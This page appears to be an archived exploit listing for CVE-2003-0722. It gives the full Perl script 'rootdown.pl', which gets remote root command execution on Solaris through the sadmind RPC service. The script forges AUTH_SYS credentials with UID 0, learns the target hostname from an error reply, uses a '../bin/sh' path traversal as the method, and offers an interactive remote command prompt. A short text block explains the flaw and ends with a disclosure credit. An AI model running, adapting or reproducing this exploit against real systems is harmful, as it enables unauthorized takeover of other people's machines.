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Solaris Sadmind - Default Configuration Remote Code Execution - CVE-2003-0722

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  1. #!/usr/bin/perl -w
  2. ##################
  3.  
  4. ##
  5. #      Title: rootdown.pl
  6. #      Purpose: Solaris Remote command executiong via sadmind
  7. #      Author: H D Moore hdm at metasploit.com
  8. #      Copyright: Copyright (C) 2003 METASPLOIT.COM
  9. ##
  10.  
  11.  
  12. use strict;
  13. use POSIX;
  14. use IO::Socket;
  15. use IO::Select;
  16. use Getopt::Std;
  17.  
  18. my $VERSION = "1.0";
  19. my %opts;
  20.  
  21. getopts("h:p:c:r:iv", \%opts);
  22.  
  23. if ($opts{v}) { show_info() }
  24.  
  25. if (! $opts{h}) { usage() }
  26.  
  27. my $target_host = $opts{h};
  28.  
  29. my $target_name = "exploit";
  30.  
  31. my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
  32. my $portmap = $opts{r} ? $opts{r} : 111;
  33.  
  34.  
  35. ##
  36. # Determine the port used by sadmind  
  37. ##
  38.  
  39. my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10);
  40.  
  41. if (! $target_port)
  42. {
  43.     print STDERR "Error: could not determine port used by sadmind\n";
  44.     exit(0);
  45. }
  46.  
  47. ##
  48. #  Determine the hostname of the target
  49. ##
  50.  
  51. my $s = rpc_socket($target_host, $target_port);
  52. my $x = rpc_sadmin_exec($target_name, "id");
  53. print $s $x;
  54. my $r = rpc_read($s);
  55. close ($s);
  56.  
  57. if ($r && $r =~ m/Security exception on host (.*)\.  USER/)
  58. {
  59.     $target_name = $1;
  60. } else {
  61.     print STDERR "Error: could not obtain target hostname.\n";
  62.     exit(0);
  63. }
  64.  
  65.  
  66. ##
  67. #  Execute commands :)
  68. ##
  69.  
  70.  
  71. my $interactive = 0;
  72.  
  73. if ($opts{i}) { $interactive++ }
  74.  
  75. do {
  76.  
  77.     if ($opts{i}) { $command = command_prompt() } else
  78.     {
  79.         print STDERR "Executing command on '$target_name' via port $target_port\n";
  80.     }
  81.    
  82.     $s = rpc_socket($target_host, $target_port);
  83.     $x = rpc_sadmin_exec($target_name, $command);
  84.     print $s $x;
  85.     $r = rpc_read($s);
  86.     close ($s);
  87.  
  88.     if ($r)
  89.     {  
  90.         # Command Failed
  91.         if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29")
  92.         {
  93.             print STDERR "Error: something went wrong with the RPC format.\n";
  94.             exit(0);
  95.         }
  96.  
  97.         # Command might have failed
  98.         if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b")
  99.         {
  100.             print STDERR "Error: something may have gone wrong with the sadmind format\n";
  101.         }
  102.  
  103.         # Confirmed success
  104.         if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12))
  105.         {
  106.             print STDERR "Success: your command has been executed successfully.\n";
  107.         }    
  108.  
  109.         if (length($r) != 36)  { print STDERR "Unknown Response: $r\n" }
  110.        
  111.     } else {
  112.         print STDERR "Error: no response recieved, you may want to try again.\n";
  113.         exit(0);
  114.     }
  115.    
  116. } while ($interactive);
  117.  
  118. exit(0);
  119.  
  120. sub usage {
  121.     print STDERR "\n";
  122.     print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
  123.     print STDERR "       Usage:   $0 -h <target> -c <command> [options]\n";
  124.     print STDERR "     Options:\n";
  125.     print STDERR "                -i\tStart interactive mode (for multiple commands)\n";
  126.     print STDERR "                -p\tAvoid the portmapper and use this sadmind port\n";  
  127.     print STDERR "                -r\tQuery alternate portmapper on this UDP port\n";
  128.     print STDERR "                -v\tDisplay information about this exploit\n";    
  129.    
  130.     print STDERR "\n\n";
  131.     exit(0);
  132. }
  133.  
  134. sub show_info {
  135.  
  136. print "\n\n";
  137. print "   Name:  rootdown.pl\n";
  138. print " Author:  H D Moore <hdm\@metasploit.com>\n";
  139. print "Version:  $VERSION\n\n";
  140.  
  141. # not finsihed :)
  142. print
  143. "This exploit targets a weakness in the default security settings
  144. of the sadmind RPC application. This application is installed and
  145. enabled by default on most versions of the Solaris operating
  146. system.\n\n".
  147.  
  148. "The sadmind application defaults to a weak security mode known as
  149. AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
  150. the service will accept a structure containing the user and group
  151. IDs as well as the originating system name. These values are not
  152. validated in any form and are completely controlled by the client.
  153. If the standard sadmin RPC API calls are used to generate the request,
  154. the ADM_CLIENT_HOST parameter is filled in with the hostname of the
  155. client system. If the RPC packet is modified so that this field is
  156. set to the hostname of the remote system, it will be processed as
  157. if it was a local request. If the user ID is set to zero or the
  158. value of any user in the sysadmin group, it is possible to call
  159. arbitrary methods in any class available to sadmind.\n\n".
  160.  
  161. "If the Solstice AdminSuite client software has not been installed,
  162. the only class available is 'system', which only contains a single
  163. method called 'admpipe'. The strings within this program seem to
  164. suggest that it can be used run arbitrary commands, however I chose
  165. a different method of command execution. Since each method is simply
  166. an executable in the class directory, it is possible to use a
  167. standard directory traversal attack to execute any application.
  168. We can pass arguments to these methods using the standard API.
  169.  
  170. An example of spawning a shell which executes the 'id' command:
  171.  
  172.    # apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n".
  173.  
  174. "To exploit this vulnerability, we must create a RPC packet that
  175. calls the '/bin/sh' method, passing it the parameter of the command
  176. we want to execute. To do this, packet dumps of the 'apm' tool
  177. were obtained and the format was slowly mapped. The hostname of
  178. the target system must be known for this exploit to work, however
  179. when sadmind is called with the wrong name, it replies with a
  180. 'ACCESS DENIED' error message containing the correct name. The
  181. final code does the following:
  182.  
  183. 1) Queries the portmapper to determine the sadmind port
  184. 2) Sends an invalid request to sadmind to obtain the hostname
  185. 3) Uses the hostname to forge the RPC packet and execute commands
  186.  
  187.  
  188. This vulnerability was reported by Mark Zielinski and disclosed by iDefense.
  189.  
  190. Related URLs:
  191.  
  192. - http://www.idefense.com/advisory/09.16.03.txt
  193. - http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
  194. ";
  195.  
  196.  
  197.  
  198.  
  199.  
  200. exit(0);
  201. }
  202.  
  203. sub command_prompt {
  204.     select(STDOUT); $|++;
  205.    
  206.     print STDOUT "\nsadmind> ";
  207.     my $command = <STDIN>;
  208.     chomp($command);
  209.     if (! $command || lc($command) eq "quit" || lc($command) eq "exit")
  210.     {
  211.         print "\nExiting interactive mode...\n";
  212.         exit(0);
  213.     }
  214.     return ($command)
  215. }
  216.  
  217. sub rpc_socket {
  218.     my ($target_host, $target_port) = @_;
  219.     my $s = IO::Socket::INET->new
  220.     (
  221.         PeerAddr => $target_host,
  222.         PeerPort => $target_port,
  223.         Proto    => "udp",
  224.         Type     => SOCK_DGRAM
  225.     );
  226.  
  227.     if (! $s)
  228.     {
  229.         print "\nError: could not create socket to target: $!\n";
  230.         exit(0);
  231.     }
  232.  
  233.     select($s); $|++;
  234.     select(STDOUT); $|++;
  235.     nonblock($s);
  236.     return($s);
  237. }
  238.  
  239. sub rpc_read {
  240.     my ($s) = @_;
  241.     my $sel = IO::Select->new($s);
  242.     my $res;
  243.     my @fds = $sel->can_read(4);
  244.     foreach (@fds) { $res .= <$s>; }
  245.     return $res;
  246. }
  247.  
  248. sub nonblock {
  249.     my ($fd) = @_;
  250.     my $flags = fcntl($fd, F_GETFL,0);
  251.     fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
  252. }
  253.  
  254. sub rpc_getport {
  255.     my ($target_host, $target_port, $prog, $vers) = @_;
  256.    
  257.     my $s = rpc_socket($target_host, $target_port);
  258.  
  259.     my $portmap_req =
  260.        
  261.         pack("L", rand() * 0xffffffff) . # XID
  262.         "\x00\x00\x00\x00".              # Call
  263.         "\x00\x00\x00\x02".              # RPC Version
  264.         "\x00\x01\x86\xa0".              # Program Number  (PORTMAP)
  265.         "\x00\x00\x00\x02".              # Program Version (2)
  266.         "\x00\x00\x00\x03".              # Procedure (getport)
  267.         ("\x00" x 16).                   # Credentials and Verifier
  268.         pack("N", $prog) .
  269.         pack("N", $vers).
  270.         pack("N", 0x11).                 # Protocol: UDP
  271.         pack("N", 0x00);                 # Port: 0
  272.  
  273.     print $s $portmap_req;
  274.  
  275.     my $r = rpc_read($s);
  276.     close ($s);
  277.    
  278.     if (length($r) == 28)
  279.     {
  280.         my $prog_port = unpack("N",substr($r, 24, 4));
  281.         return($prog_port);
  282.     }
  283.    
  284.     return undef;
  285. }
  286.  
  287.  
  288. sub rpc_sadmin_exec {
  289.  
  290.     my ($hostname, $command) = @_;
  291.     my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));
  292.    
  293.    
  294.     my $rpc =
  295.         pack("L", rand() * 0xffffffff) . # XID
  296.         "\x00\x00\x00\x00".              # Call
  297.         "\x00\x00\x00\x02".              # RPC Version
  298.         "\x00\x01\x87\x88".              # Program Number  (SADMIND)
  299.         "\x00\x00\x00\x0a".              # Program Version (10)
  300.         "\x00\x00\x00\x01".              # Procedure
  301.         "\x00\x00\x00\x01";              # Credentials (UNIX)
  302.                                          # Auth Length is filled in
  303.  
  304.     # pad it up to multiples of 4
  305.     my $rpc_hostname = $hostname;
  306.     while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
  307.    
  308.     my $rpc_auth =
  309.         # Time Stamp
  310.         pack("N", time() + 20001) .
  311.  
  312.         # Machine Name
  313.         pack("N", length($hostname)) . $rpc_hostname .
  314.  
  315.         "\x00\x00\x00\x00".              # UID = 0
  316.         "\x00\x00\x00\x00".              # GID = 0
  317.         "\x00\x00\x00\x00";              # No Extra Groups  
  318.  
  319.  
  320.     $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);
  321.  
  322.     my $header =
  323.    
  324.     # Another Time Stamp
  325.     reverse(pack("L", time() + 20005)) .
  326.  
  327.     "\x00\x07\x45\xdf".
  328.    
  329.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  330.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
  331.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  332.     "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
  333.    
  334.     "\x7f\x00\x00\x01".                 # 127.0.0.1
  335.     "\x00\x01\x87\x88".                 # SADMIND
  336.    
  337.     "\x00\x00\x00\x0a\x00\x00\x00\x04".
  338.    
  339.     "\x7f\x00\x00\x01".                 # 127.0.0.1
  340.     "\x00\x01\x87\x88".                 # SADMIND
  341.  
  342.     "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
  343.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  344.     "\x00\x00\x00\x00".
  345.  
  346.     "\x00\x00\x00\x3b". $packed_host.
  347.  
  348.     "\x00\x00\x00\x00\x06" . "system".
  349.    
  350.     "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
  351.    
  352.     # Append Body Length ^-- Here
  353.  
  354.     my $body =
  355.     "\x00\x00\x00\x0e". "ADM_FW_VERSION".
  356.     "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
  357.     "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
  358.    
  359.     "\x00\x00\x00\x08". "ADM_LANG".
  360.     "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
  361.     "\x00\x01". "C" .
  362.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  363.    
  364.     "\x00\x00\x00\x0d". "ADM_REQUESTID".
  365.     "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
  366.     "0810:1010101010:1"."\x00\x00\x00".
  367.     "\x00\x00\x00\x00\x00\x00\x00\x00".
  368.  
  369.     "\x00\x00\x00\x09". "ADM_CLASS".
  370.     "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
  371.     "\x00\x00\x00\x06" . "system" .
  372.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  373.    
  374.    
  375.     "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
  376.     "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
  377.     "\x00\x00\x00\x03". "2.1".
  378.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  379.    
  380.    
  381.     "\x00\x00\x00\x0a" . "ADM_METHOD" .
  382.     "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
  383.     "\x00\x00\x00\x15". "../../../../../bin/sh" .
  384.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  385.    
  386.     "\x00\x00\x00\x08". "ADM_HOST" .
  387.     "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
  388.     $packed_host.
  389.  
  390.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  391.     "\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
  392.     "\x00\x00\x00\x00\x09".
  393.    
  394.     pack("N", length($hostname) + 1) .
  395.     pack("N", length($hostname)) .
  396.     $rpc_hostname .
  397.     "\x00\x00\x00\x00". "\x00\x00\x00\x00".
  398.    
  399.     "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
  400.     "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
  401.     "\x00\x00\x00\x00\x00\x00".
  402.    
  403.     "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
  404.     "\x00\x00\x00\x00\x00".
  405.     "\x00\x09\x00\x00\x00\x1c".
  406.     "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
  407.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  408.    
  409.    
  410.     "\x00\x00\x00\x09" . "ADM_FENCE" .
  411.     "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  412.     "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
  413.     "\x00\x00\x03\x00\x00\x00\x02" . "-c" .
  414.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
  415.     "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".
  416.  
  417.     $command . ("\x00" x (512 - length($command))).
  418.  
  419.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
  420.     "netmgt_endofargs";
  421.  
  422.     my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;
  423.  
  424.     return($res);
  425. }
  426.  
  427.  
  428.  
  429. # milw0rm.com [2003-09-19]
  430.            
Tags: CVE Vulnerability solaris sadmind
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